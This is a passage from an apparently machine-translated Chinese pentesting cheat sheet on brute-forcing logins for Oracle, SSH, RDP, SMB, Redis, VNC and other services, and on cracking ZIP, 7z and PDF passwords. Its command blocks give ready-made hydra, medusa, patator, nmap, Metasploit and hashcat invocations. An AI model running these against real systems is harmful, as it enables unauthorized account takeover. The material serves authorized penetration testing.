2. **Password Guessing**: In this method, the attacker tries to guess the password based on information about the target, such as their name, birthdate, or any other personal information. This method requires some knowledge about the target and is often used in targeted attacks.
3. **Rainbow Tables**: Rainbow tables are precomputed tables that contain a large number of possible password hashes and their corresponding plaintext passwords. By comparing the password hash of the target with the entries in the rainbow table, the attacker can quickly find the corresponding plaintext password.
4. **Brute Forcing Hashed Passwords**: If the passwords in the Oracle SQL database are stored as hashes, the attacker can use brute force to crack the hashes. This involves trying different combinations of characters, hashing them, and comparing the result with the stored hash.
## Countermeasures
To protect against brute force attacks on Oracle SQL databases, consider implementing the following countermeasures:
1. **Strong Password Policies**: Enforce strong password policies that require users to choose complex passwords with a combination of uppercase and lowercase letters, numbers, and special characters. Additionally, enforce regular password changes.
2. **Account Lockouts**: Implement account lockout mechanisms that temporarily lock user accounts after a certain number of failed login attempts. This can help prevent brute force attacks by slowing down the attacker's progress.
3. **Two-Factor Authentication**: Implement two-factor authentication (2FA) to add an extra layer of security. This requires users to provide a second form of authentication, such as a code sent to their mobile device, in addition to their password.
4. **Monitoring and Alerting**: Implement monitoring and alerting systems to detect and notify administrators of any suspicious login attempts or patterns. This can help identify and respond to brute force attacks in real-time.
By implementing these countermeasures, you can significantly reduce the risk of successful brute force attacks on your Oracle SQL databases.
```bash
patator oracle_login sid= host= user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017
./odat.py passwordguesser -s $SERVER -d $SID
./odat.py passwordguesser -s $MYSERVER -p $PORT --accounts-file accounts_multiple.txt
#msf1
msf> use admin/oracle/oracle_login
msf> set RHOSTS
msf> set RPORT 1521
msf> set SID
#msf2, this option uses nmap and it fails sometimes for some reason
msf> use scanner/oracle/oracle_login
msf> set RHOSTS
msf> set RPORTS 1521
msf> set SID
#for some reason nmap fails sometimes when executing this script
nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=
```
为了使用**patator**进行**oracle_login**,您需要**安装**以下内容:
```bash
pip3 install cx_Oracle --upgrade
```
[离线OracleSQL哈希暴力破解](../network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**版本11.1.0.6、11.1.0.7、11.2.0.1、11.2.0.2**和**11.2.0.3**):
```bash
nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30
```
### POP
POP(Post Office Protocol)是一种用于接收电子邮件的协议。它允许用户从邮件服务器上下载邮件到本地设备。POP协议通常使用TCP端口110进行通信。
#### Brute Force攻击
Brute Force攻击是一种基于暴力破解的攻击方法,用于尝试破解密码或破解加密算法。在POP协议中,Brute Force攻击可以用于尝试猜测用户的密码,以获取对其电子邮件的访问权限。
Brute Force攻击的原理是通过尝试所有可能的密码组合,直到找到正确的密码为止。这种攻击方法通常需要大量的时间和计算资源,因为密码空间可能非常庞大。
为了防止Brute Force攻击,用户可以采取以下措施:
- 使用强密码:选择包含大写字母、小写字母、数字和特殊字符的复杂密码。
- 启用账户锁定:在一定的尝试次数后,自动锁定账户,阻止进一步的尝试。
- 使用多因素身份验证:结合密码和其他身份验证因素,如指纹识别或短信验证码。
尽管Brute Force攻击是一种有效的攻击方法,但它也是一种相对慢且易被检测到的攻击。因此,保护POP协议免受Brute Force攻击的最佳方法是采取适当的安全措施,并确保密码的复杂性和机密性。
```bash
hydra -l USERNAME -P /path/to/passwords.txt -f pop3 -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f pop3 -V
```
### PostgreSQL
PostgreSQL是一种强大的开源关系型数据库管理系统。它具有可扩展性和灵活性,被广泛用于各种应用程序和网站。
#### 暴力破解
暴力破解是一种常见的攻击技术,用于尝试破解密码或访问受保护的系统。对于PostgreSQL数据库,暴力破解可以用于尝试猜测数据库用户的密码。
暴力破解的基本原理是通过尝试不同的密码组合来破解目标系统。攻击者可以使用各种工具和脚本来自动化这个过程,以提高破解的效率。
为了防止暴力破解攻击,PostgreSQL提供了一些安全措施,如密码策略和账户锁定。密码策略可以要求用户使用强密码,并定期更改密码。账户锁定可以在一定次数的失败登录尝试后暂时禁止用户登录。
然而,暴力破解仍然可能成功,特别是当用户使用弱密码或者系统存在其他安全漏洞时。因此,管理员应该采取额外的措施来保护数据库,如使用防火墙限制访问、定期更新和修补系统、监控登录活动等。
#### 防御措施
为了防止暴力破解攻击,以下是一些建议的防御措施:
- 使用强密码策略,要求用户使用复杂的密码,并定期更改密码。
- 启用账户锁定功能,限制登录尝试次数,并在一定次数的失败尝试后暂时禁止用户登录。
- 使用防火墙限制对数据库的访问,只允许来自信任的IP地址的连接。
- 定期更新和修补系统,以防止已知的安全漏洞被利用。
- 监控登录活动,及时发现异常登录尝试并采取相应的措施。
- 使用多因素身份验证,增加登录的安全性。
通过采取这些防御措施,可以大大降低暴力破解攻击的成功率,并提高数据库的安全性。
```bash
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt postgres
medusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres
ncrack –v –U /root/Desktop/user.txt –P /root/Desktop/pass.txt :5432
patator pgsql_login host= user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txt
use auxiliary/scanner/postgres/postgres_login
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432
```
### PPTP
您可以从[https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/)下载`.deb`软件包进行安装。
```bash
sudo dpkg -i thc-pptp-bruter*.deb #Install the package
cat rockyou.txt | thc-pptp-bruter –u
```
### RDP
RDP(远程桌面协议)是一种用于远程访问和控制计算机的协议。它允许用户通过网络连接到远程计算机,并在远程计算机上执行操作,就像直接在本地计算机上一样。
#### 暴力破解
暴力破解是一种常见的攻击技术,用于尝试破解密码或访问受保护的系统。在RDP中,暴力破解可以用于尝试猜测有效的用户名和密码组合,以获取对远程计算机的访问权限。
暴力破解通常涉及使用自动化工具,如脚本或专门设计的软件,来尝试大量的用户名和密码组合。攻击者可以使用常见的用户名和密码列表,或者使用字典攻击来尝试猜测密码。
为了防止暴力破解攻击,建议采取以下措施:
- 使用强密码:选择包含大写字母、小写字母、数字和特殊字符的复杂密码。
- 启用账户锁定:在一定的失败尝试次数后,锁定账户一段时间,以防止攻击者继续尝试破解密码。
- 使用多因素身份验证:通过使用额外的身份验证因素,如手机验证码或指纹识别,增加对远程访问的安全性。
尽管暴力破解是一种有效的攻击技术,但采取适当的安全措施可以大大降低成功的可能性。
```bash
ncrack -vv --user -P pwds.txt rdp://
hydra -V -f -L -P rdp://
```
### Redis
Redis是一种开源的内存数据结构存储系统,常用于缓存、消息队列和实时分析等应用场景。它支持多种数据结构,如字符串、哈希表、列表、集合和有序集合,并提供了丰富的操作命令。
#### 暴力破解
暴力破解是一种常见的攻击技术,用于尝试破解密码或访问受保护的系统。在Redis中,暴力破解可以用于尝试猜测密码或访问未授权的数据。
##### 基于字典的暴力破解
基于字典的暴力破解是一种常见的暴力破解方法,它通过尝试使用预先准备好的密码列表来猜测密码。攻击者可以使用常见的密码列表、常见的用户名和密码组合,或者自定义的密码列表来进行尝试。
##### 基于暴力破解工具的暴力破解
除了基于字典的暴力破解,还有一些专门设计用于暴力破解的工具,如Hydra和Medusa。这些工具可以自动化暴力破解过程,通过尝试不同的用户名和密码组合来破解密码。
##### 防御措施
为了防止Redis遭受暴力破解攻击,可以采取以下措施:
- 使用强密码:选择一个强密码,包含大小写字母、数字和特殊字符,并定期更换密码。
- 限制登录尝试次数:通过配置Redis服务器,限制登录尝试次数,防止暴力破解攻击。
- 使用访问控制列表(ACL):配置Redis的ACL,只允许授权用户访问。
- 监控登录活动:定期检查Redis的登录活动日志,及时发现异常登录尝试。
- 更新Redis版本:及时更新Redis版本,以获取最新的安全修复和功能改进。
通过采取这些防御措施,可以提高Redis的安全性,防止暴力破解攻击。
```bash
msf> use auxiliary/scanner/redis/redis_login
nmap --script redis-brute -p 6379
hydra –P /path/pass.txt redis://: # 6379 is the default
```
### Rexec
Rexec(Remote Execution)是一种用于在远程计算机上执行命令的协议。它通常用于在网络上执行命令行操作,例如在远程服务器上执行命令或脚本。Rexec协议使用明文传输,因此在使用时需要注意安全性。
Rexec协议的一种常见用途是进行暴力破解攻击。暴力破解是一种通过尝试所有可能的密码组合来破解密码的方法。攻击者可以使用Rexec协议来尝试在目标计算机上进行暴力破解,以获取未经授权的访问权限。
为了进行Rexec暴力破解攻击,攻击者通常会使用自动化工具,如脚本或软件,来自动化尝试不同的密码组合。这些工具可以通过字典攻击或暴力破解攻击来尝试破解密码。字典攻击是一种使用预先准备好的密码列表来尝试破解密码的方法,而暴力破解攻击则是尝试所有可能的密码组合。
为了保护远程计算机免受Rexec暴力破解攻击,可以采取以下措施:
- 使用强密码:选择一个强密码,包括字母、数字和特殊字符,并避免使用常见的密码。
- 实施账户锁定:在一定的失败尝试次数后,锁定账户,以防止攻击者继续尝试破解密码。
- 使用多因素身份验证:通过使用多个身份验证因素,如密码和手机验证码,增加访问控制的安全性。
- 监控登录活动:定期检查登录日志,以便及时发现异常活动并采取相应措施。
通过采取这些措施,可以提高远程计算机的安全性,减少Rexec暴力破解攻击的风险。
```bash
hydra -l -P rexec:// -v -V
```
### Rlogin
Rlogin(远程登录)是一种用于在远程计算机上执行命令的协议。它允许用户通过网络连接到远程主机并登录到该主机的操作系统。Rlogin协议通常使用TCP端口513进行通信。
Rlogin协议的一个常见安全问题是它的身份验证机制较弱,容易受到暴力破解攻击。攻击者可以使用暴力破解技术尝试多个用户名和密码组合,直到找到正确的凭据。这种攻击方法被称为暴力破解。
为了防止Rlogin协议的暴力破解攻击,可以采取以下措施:
1. 使用强密码:确保在远程主机上设置强密码,包括字母、数字和特殊字符的组合。
2. 锁定账户:在一定的登录尝试失败次数后,自动锁定账户,以防止攻击者继续尝试。
3. 使用防火墙:配置防火墙以限制对Rlogin协议的访问,只允许来自受信任的IP地址的连接。
4. 使用VPN:通过使用虚拟专用网络(VPN)建立安全的加密连接,可以保护Rlogin协议的通信。
5. 使用多因素身份验证:使用多因素身份验证可以增加登录的安全性,例如结合密码和令牌进行身份验证。
通过采取这些措施,可以提高Rlogin协议的安全性,减少暴力破解攻击的风险。
```bash
hydra -l -P rlogin:// -v -V
```
### Rsh
Rsh(Remote Shell)是一种用于远程执行命令的协议。它允许用户在远程计算机上执行命令,就像在本地计算机上一样。Rsh协议通常使用TCP端口514进行通信。
Rsh协议的一个重要特点是它的身份验证机制相对较弱。通常,Rsh服务器会使用基于主机名的身份验证,这意味着只要知道目标主机的名称,就可以尝试连接并执行命令。这使得Rsh协议容易受到暴力破解攻击。
暴力破解是一种通过尝试所有可能的密码组合来破解密码的攻击方法。对于Rsh协议,攻击者可以使用暴力破解工具来尝试连接到目标主机,并使用不同的用户名和密码组合进行身份验证。攻击者可以使用字典文件或生成的密码列表来加快破解过程。
为了防止Rsh协议的暴力破解攻击,建议采取以下措施:
1. 禁用或限制Rsh协议的使用:如果不需要使用Rsh协议,最好禁用或限制其使用,以减少潜在的攻击面。
2. 强化身份验证机制:使用更强大的身份验证机制,如基于公钥的身份验证,可以提高安全性并减少暴力破解的风险。
3. 实施访问控制:限制可以访问Rsh服务的主机和用户,只允许授权的主机和用户连接。
4. 使用防火墙:配置防火墙以限制对Rsh协议端口的访问,只允许授权的主机进行连接。
5. 监控和日志记录:监控Rsh协议的使用情况,并记录所有连接尝试和身份验证失败的事件,以便及时检测和响应潜在的攻击。
通过采取这些措施,可以增强Rsh协议的安全性,并减少暴力破解攻击的风险。
```bash
hydra -L rsh:// -v -V
```
[http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind)
### Rsync
Rsync是一种用于文件同步和传输的强大工具。它可以在本地系统之间或本地系统与远程系统之间同步文件和目录。Rsync使用快速增量算法,只传输文件的变化部分,从而减少了传输的数据量和时间。
Rsync的强大之处在于它的灵活性和可配置性。它可以通过各种选项和参数进行定制,以满足不同的需求。例如,可以使用`-a`选项来保持文件的权限和时间戳,使用`-v`选项来显示详细的传输信息,使用`-z`选项来进行压缩传输等。
然而,正如其他许多强大工具一样,Rsync也可能被黑客用于恶意目的。黑客可以使用Rsync进行暴力破解攻击,尝试使用不同的用户名和密码组合来登录目标系统。这种攻击被称为暴力破解攻击,因为黑客通过尝试大量的组合来“破解”目标系统的凭据。
为了防止Rsync暴力破解攻击,建议采取以下措施:
1. 使用强密码:确保目标系统的用户密码是强密码,包含足够的长度和复杂性,以防止被猜测或破解。
2. 锁定账户:在一定的登录尝试失败次数后,自动锁定账户,以防止黑客继续尝试登录。
3. 使用防火墙:配置防火墙规则,限制对Rsync服务的访问,只允许受信任的IP地址进行连接。
4. 监控日志:定期检查Rsync日志,以便及时发现异常登录尝试或其他可疑活动。
通过采取这些措施,可以增强系统的安全性,防止Rsync被黑客滥用。
```bash
nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873
```
### RTSP
RTSP(Real-Time Streaming Protocol)是一种用于实时传输音视频数据的网络协议。它允许客户端通过发送请求来控制和获取实时流媒体数据。RTSP通常用于流媒体服务器和客户端之间的通信。
### 暴力破解
暴力破解是一种常见的密码破解技术,它通过尝试所有可能的密码组合来获取未授权访问。暴力破解通常用于攻击弱密码保护的系统,如用户账户、网络服务或加密文件。
暴力破解可以使用多种方法,包括字典攻击和穷举攻击。字典攻击是基于预先准备好的密码列表进行尝试,而穷举攻击则是尝试所有可能的密码组合。
为了提高暴力破解的效率,可以使用多线程或分布式计算来同时尝试多个密码。此外,还可以使用暴力破解工具,如John the Ripper或Hydra,来自动化该过程。
然而,暴力破解是一种耗时且资源密集型的攻击方法,而且在许多情况下可能会受到防护机制的限制。因此,在进行暴力破解之前,应该评估其合法性和合规性,并获得适当的授权。
```bash
hydra -l root -P passwords.txt rtsp
```
### SNMP
SNMP(Simple Network Management Protocol)是一种用于管理和监控网络设备的协议。它允许管理员通过发送请求和接收响应来获取和修改网络设备的信息。SNMP使用基于UDP的传输协议,并使用MIB(Management Information Base)来描述设备的管理信息。攻击者可以利用SNMP协议的弱点进行入侵,例如使用暴力破解攻击来猜测SNMP设备的凭据。暴力破解是一种尝试所有可能的密码组合来破解凭据的攻击方法。攻击者可以使用自动化工具来加速暴力破解过程,例如使用字典文件或生成密码组合的脚本。为了防止SNMP暴力破解攻击,管理员应该采取一些安全措施,例如使用强密码、限制SNMP访问和监控SNMP活动。
```bash
msf> use auxiliary/scanner/snmp/snmp_login
nmap -sU --script snmp-brute [--script-args snmp-brute.communitiesdb= ]
onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp
```
### SMB
SMB(Server Message Block)是一种用于在计算机网络上共享文件、打印机和其他资源的协议。它是一种客户端-服务器协议,允许客户端请求文件或其他服务,并由服务器提供响应。SMB协议通常用于Windows操作系统之间的文件和打印机共享。
### 暴力破解
暴力破解是一种常见的密码破解技术,它通过尝试所有可能的密码组合来获取未授权访问。攻击者使用自动化工具来迭代尝试不同的密码,直到找到正确的密码为止。暴力破解可以用于各种目的,包括获取未授权访问、窃取敏感信息或破解加密数据。
在进行暴力破解时,攻击者通常使用字典文件,其中包含常见密码、常见单词和其他可能的密码组合。他们还可以使用暴力破解工具,如John the Ripper或Hashcat,来加速密码破解过程。
为了防止暴力破解攻击,用户应该选择强密码,并定期更改密码。此外,系统管理员可以实施安全措施,如账户锁定、登录失败限制和多因素身份验证,以增加系统的安全性。
```bash
nmap --script smb-brute -p 445
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
```
### SMTP
SMTP(Simple Mail Transfer Protocol)是一种用于电子邮件传输的标准协议。它允许电子邮件客户端发送邮件到邮件服务器,并由服务器将邮件传递给目标收件人的电子邮件服务器。SMTP通常使用TCP端口25进行通信。
#### 暴力破解
暴力破解是一种常见的攻击技术,用于尝试破解密码或访问受保护的系统。在SMTP的上下文中,暴力破解可以用于尝试猜测电子邮件账户的密码。
暴力破解攻击通常涉及使用自动化工具,如脚本或软件,通过尝试大量可能的密码组合来破解密码。攻击者可以使用常见的密码列表、字典文件或生成的密码组合来进行尝试。
为了防止暴力破解攻击,建议使用强密码,并定期更改密码。此外,可以使用账户锁定机制来限制登录尝试次数,并设置登录失败的延迟时间,以增加攻击者破解密码的难度。
#### 防御措施
以下是一些防御措施,可帮助保护SMTP服务器免受暴力破解攻击:
- 使用强密码策略:要求用户使用包含字母、数字和特殊字符的复杂密码,并定期更改密码。
- 账户锁定:设置登录失败的尝试次数限制,并在达到限制后锁定账户一段时间。
- 延迟登录失败:在登录失败后增加延迟时间,以防止攻击者使用自动化工具进行暴力破解。
- 监控登录活动:定期检查登录日志,以便及时发现异常活动或多次失败的登录尝试。
- 多因素身份验证:使用多因素身份验证来增加账户的安全性,例如使用手机验证码或硬件令牌进行身份验证。
通过采取这些防御措施,可以提高SMTP服务器的安全性,并减少暴力破解攻击的成功率。
```bash
hydra -l -P /path/to/passwords.txt smtp -V
hydra -l -P /path/to/passwords.txt -s 587 -S -v -V #Port 587 for SMTP with SSL
```
SOCKS(Socket Secure)是一种网络协议,用于在客户端和服务器之间进行代理通信。它允许客户端通过代理服务器与远程服务器进行通信,从而隐藏客户端的真实IP地址。SOCKS协议通常用于绕过防火墙和访问受限制的网络资源。攻击者可以使用SOCKS代理来隐藏其真实身份并执行恶意活动。
```bash
nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080
```
### SSH
SSH(Secure Shell)是一种加密的网络协议,用于在不安全的网络上安全地进行远程登录和执行命令。SSH使用公钥加密和身份验证机制,确保通信的机密性和完整性。
SSH暴力破解是一种攻击技术,通过尝试所有可能的密码组合来破解SSH登录凭据。这种方法通常是通过自动化工具来实现的,例如使用字典文件或生成密码的算法。
SSH暴力破解可以是一种有效的攻击方法,特别是当目标系统使用弱密码或默认凭据时。为了防止SSH暴力破解,可以采取以下措施:
- 使用强密码:选择足够复杂和难以猜测的密码,包括字母、数字和特殊字符的组合。
- 使用公钥身份验证:使用公钥加密来进行身份验证,而不是依赖密码。
- 配置登录限制:限制登录尝试次数,并在一定次数后暂时锁定账户。
- 使用防火墙:限制SSH访问仅限于受信任的IP地址范围。
- 更新软件:及时更新SSH服务器软件,以修复已知的漏洞和安全问题。
通过采取这些措施,可以增加SSH登录的安全性,防止暴力破解攻击。
```bash
hydra -l root -P passwords.txt [-t 32] ssh
ncrack -p 22 --user root -P passwords.txt [-T 5]
medusa -u root -P 500-worst-passwords.txt -h -M ssh
patator ssh_login host= port=22 user=root 0=/path/passwords.txt password=FILE0 -x ignore:mesg='Authentication failed'
```
#### 弱SSH密钥 / Debian可预测PRNG
某些系统在生成加密材料时使用的随机种子存在已知缺陷。这可能导致密钥空间大大减少,可以使用诸如[snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute)等工具进行暴力破解。还可以使用预先生成的弱密钥集,例如[g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)。
### SQL Server
```bash
#Use the NetBIOS name of the machine as domain
crackmapexec mssql -d -u usernames.txt -p passwords.txt
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt mssql
medusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssql
nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts
msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT
```
### Telnet
Telnet是一种用于远程登录和管理计算机系统的网络协议。它允许用户通过网络连接到远程主机,并在远程主机上执行命令。Telnet协议使用明文传输数据,因此不安全,容易受到中间人攻击。黑客可以使用暴力破解技术来尝试猜测和破解Telnet登录凭据。
暴力破解是一种攻击技术,黑客通过尝试所有可能的密码组合来破解登录凭据。黑客可以使用字典攻击或暴力破解工具来自动化这个过程。字典攻击是基于预先准备好的密码列表进行尝试,而暴力破解工具则尝试所有可能的密码组合。
为了防止Telnet暴力破解攻击,以下是一些建议:
- 禁用或限制Telnet服务,使用更安全的远程登录协议,如SSH。
- 使用强密码,并定期更改密码。
- 使用多因素身份验证来增加登录的安全性。
- 监控登录尝试并设置阻止机制,例如自动锁定账户或IP地址。
- 定期审查日志以检测异常活动。
请记住,未经授权的暴力破解是非法的,只能在合法的渗透测试活动中使用。
```bash
hydra -l root -P passwords.txt [-t 32] telnet
ncrack -p 23 --user root -P passwords.txt [-T 5]
medusa -u root -P 500-worst-passwords.txt -h -M telnet
```
### VNC
VNC(Virtual Network Computing)是一种远程桌面协议,允许用户通过网络远程控制其他计算机。它使用客户端-服务器模型,其中VNC服务器在远程计算机上运行,而VNC客户端则在本地计算机上运行。通过VNC,用户可以在本地计算机上查看和操作远程计算机的桌面界面。
#### 暴力破解
暴力破解是一种常见的攻击技术,用于破解密码或访问受保护的系统。在VNC中,暴力破解可以用于尝试猜测VNC服务器的密码,以获取对远程计算机的访问权限。
暴力破解通常涉及使用自动化工具,如脚本或软件,通过尝试不同的密码组合来破解密码。攻击者可以使用常见的密码列表、字典文件或生成的密码来进行暴力破解。
为了防止暴力破解攻击,VNC服务器通常会实施安全措施,如限制登录尝试次数、使用复杂的密码策略和启用账户锁定功能。此外,使用强密码和定期更改密码也是保护VNC服务器免受暴力破解攻击的重要措施。
#### 防御措施
为了保护VNC服务器免受暴力破解攻击,以下是一些推荐的防御措施:
- 使用强密码:选择一个复杂的密码,包含大小写字母、数字和特殊字符,并避免使用常见的密码。
- 限制登录尝试次数:设置VNC服务器以限制登录尝试次数,当尝试次数超过设定的阈值时,自动锁定账户。
- 使用账户锁定功能:启用VNC服务器的账户锁定功能,当登录失败次数达到一定次数时,自动锁定账户一段时间。
- 定期更改密码:定期更改VNC服务器的密码,以增加安全性。
- 监控登录活动:监控VNC服务器的登录活动,及时发现异常登录尝试并采取相应的措施。
- 使用防火墙:配置防火墙以限制对VNC服务器的访问,只允许来自可信IP地址的连接。
通过采取这些防御措施,可以大大减少VNC服务器受到暴力破解攻击的风险。
```bash
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s vnc
medusa -h –u root -P /root/Desktop/pass.txt –M vnc
ncrack -V --user root -P /root/Desktop/pass.txt :>POR>T
patator vnc_login host= password=FILE0 0=/root/Desktop/pass.txt –t 1 –x retry:fgep!='Authentication failure' --max-retries 0 –x quit:code=0
use auxiliary/scanner/vnc/vnc_login
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432
#Metasploit
use auxiliary/scanner/vnc/vnc_login
set RHOSTS
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst
```
### Winrm
Winrm(Windows Remote Management)是一种用于远程管理Windows系统的协议。它允许管理员通过网络远程执行命令、获取系统信息和配置设置。Winrm使用HTTP或HTTPS作为传输协议,并支持基于SOAP的消息格式。
#### 暴力破解
暴力破解是一种常见的攻击技术,用于尝试破解密码或访问受保护的系统。在Winrm中,暴力破解可以用于尝试猜测有效的用户名和密码组合,以获取对远程系统的访问权限。
暴力破解通常涉及使用自动化工具,如字典攻击或暴力破解工具,通过尝试大量的可能密码组合来破解系统。这些工具可以使用常见的密码列表、字典文件或生成的密码组合进行尝试。
为了防止暴力破解攻击,管理员应采取一些安全措施,如使用强密码策略、限制登录尝试次数、启用账户锁定等。此外,使用多因素身份验证可以提供额外的安全层级,防止未经授权的访问。
在进行渗透测试或安全评估时,安全专业人员可能会使用暴力破解技术来测试系统的安全性,并提供建议和解决方案来加强系统的防护措施。然而,未经授权的暴力破解行为是非法的,并且可能导致法律后果。
```bash
crackmapexec winrm -d -u usernames.txt -p passwords.txt
```
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建和自动化由全球**最先进**的社区工具提供支持的工作流程。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## 本地
### 在线破解数据库
* [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5和SHA1)
* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (哈希值,WPA2捕获和存档MSOffice,ZIP,PDF...)
* [https://crackstation.net/](https://crackstation.net) (哈希值)
* [https://md5decrypt.net/](https://md5decrypt.net) (MD5)
* [https://gpuhash.me/](https://gpuhash.me) (哈希值和文件哈希值)
* [https://hashes.org/search.php](https://hashes.org/search.php) (哈希值)
* [https://www.cmd5.org/](https://www.cmd5.org) (哈希值)
* [https://hashkiller.co.uk/Cracker](https://hashkiller.co.uk/Cracker) (MD5,NTLM,SHA1,MySQL5,SHA256,SHA512)
* [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5)
* [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com)
在尝试暴力破解哈希之前,请查看这些内容。
### ZIP
```bash
#sudo apt-get install fcrackzip
fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip
```
```bash
zip2john file.zip > zip.john
john zip.john
```
```bash
#$zip2$*0*3*0*a56cb83812be3981ce2a83c581e4bc4f*4d7b*24*9af41ff662c29dfff13229eefad9a9043df07f2550b9ad7dfc7601f1a9e789b5ca402468*694b6ebb6067308bedcd*$/zip2$
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack
```
#### 已知明文 zip 攻击
您需要知道加密的 zip 文件中包含的文件的明文(或部分明文)。您可以通过运行以下命令来检查加密的 zip 文件中包含的文件的文件名和文件大小:`7z l encrypted.zip`\
从发布页面下载 [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)。
```bash
# You need to create a zip file containing only the file that is inside the encrypted zip
zip plaintext.zip plaintext.file
./bkcrack -C -c -P -p
# Now wait, this should print a key such as 7b549874 ebc25ec5 7e465e18
# With that key you can create a new zip file with the content of encrypted.zip
# but with a different pass that you set (so you can decrypt it)
./bkcrack -C -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd
unzip unlocked.zip #User new_pwd as password
```
### 7z
7z是一种开源的压缩文件格式,也是一个用于压缩和解压缩文件的软件。它使用了高度压缩算法,可以在较小的文件大小下存储更多的数据。7z文件通常具有.7z文件扩展名。
#### 暴力破解7z文件
暴力破解是一种破解密码的方法,通过尝试所有可能的组合来找到正确的密码。对于7z文件,我们可以使用暴力破解工具来尝试不同的密码,直到找到正确的密码为止。
以下是一些常用的暴力破解工具:
- **John the Ripper**:这是一个流行的密码破解工具,可以用于暴力破解7z文件。它支持多种密码破解技术,包括字典攻击和暴力破解。
- **Hashcat**:这是另一个功能强大的密码破解工具,可以用于暴力破解7z文件。它支持多种哈希算法和攻击模式,可以高效地破解密码。
- **BruteForcer**:这是一个专门用于暴力破解7z文件的工具。它使用了多线程和优化算法,可以快速地尝试不同的密码组合。
在使用这些工具进行暴力破解时,我们可以使用字典文件来提高破解的效率。字典文件包含了常见的密码和短语,可以帮助我们更快地找到正确的密码。
然而,需要注意的是,暴力破解是一种耗时的过程,尤其是对于复杂的密码。因此,在进行暴力破解之前,我们应该评估破解的时间和资源成本,并确保有合法的授权来进行破解操作。
```bash
cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z
```
```bash
#Download and install requirements for 7z2john
wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/7z2john.pl
apt-get install libcompress-raw-lzma-perl
./7z2john.pl file.7z > 7zhash.john
```
# 暴力破解
暴力破解是一种常见的密码破解技术,它通过尝试所有可能的密码组合来获取未知密码。这种方法可以用于破解各种类型的密码,包括用户账户密码、加密文件密码等。
暴力破解的过程通常是通过自动化工具来完成的。这些工具会自动尝试不同的密码组合,直到找到正确的密码为止。为了提高破解速度,可以使用多线程或分布式计算来并行处理多个密码尝试。
暴力破解的效率取决于密码的复杂性和长度。简单的密码通常可以在短时间内被破解,而复杂的密码可能需要花费很长时间甚至无法破解。
为了提高暴力破解的成功率,可以使用密码字典。密码字典是一个包含常见密码和常用密码组合的列表。通过使用密码字典,可以减少尝试的密码组合数量,从而提高破解的效率。
然而,暴力破解也有一些限制和风险。首先,它需要大量的计算资源和时间。其次,由于尝试所有可能的密码组合,暴力破解可能会被目标系统检测到,并触发安全警报。此外,使用暴力破解技术来获取未经授权的访问是非法的,并可能导致法律后果。
因此,在进行暴力破解之前,必须确保拥有合法的授权,并遵守适用的法律和道德准则。此外,为了保护自己的系统和数据安全,应该使用强密码,并定期更改密码。
```bash
apt-get install pdfcrack
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
#pdf2john didn't work well, john didn't know which hash type was
# To permanently decrypt the pdf
sudo apt-get install qpdf
qpdf --password= --decrypt encrypted.pdf plaintext.pdf
```
### PDF 所有者密码
要破解 PDF 的所有者密码,请查看此链接:[https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/)
### JWT
```bash
git clone https://github.com/Sjord/jwtcrack.git
cd jwtcrack
#Bruteforce using crackjwt.py
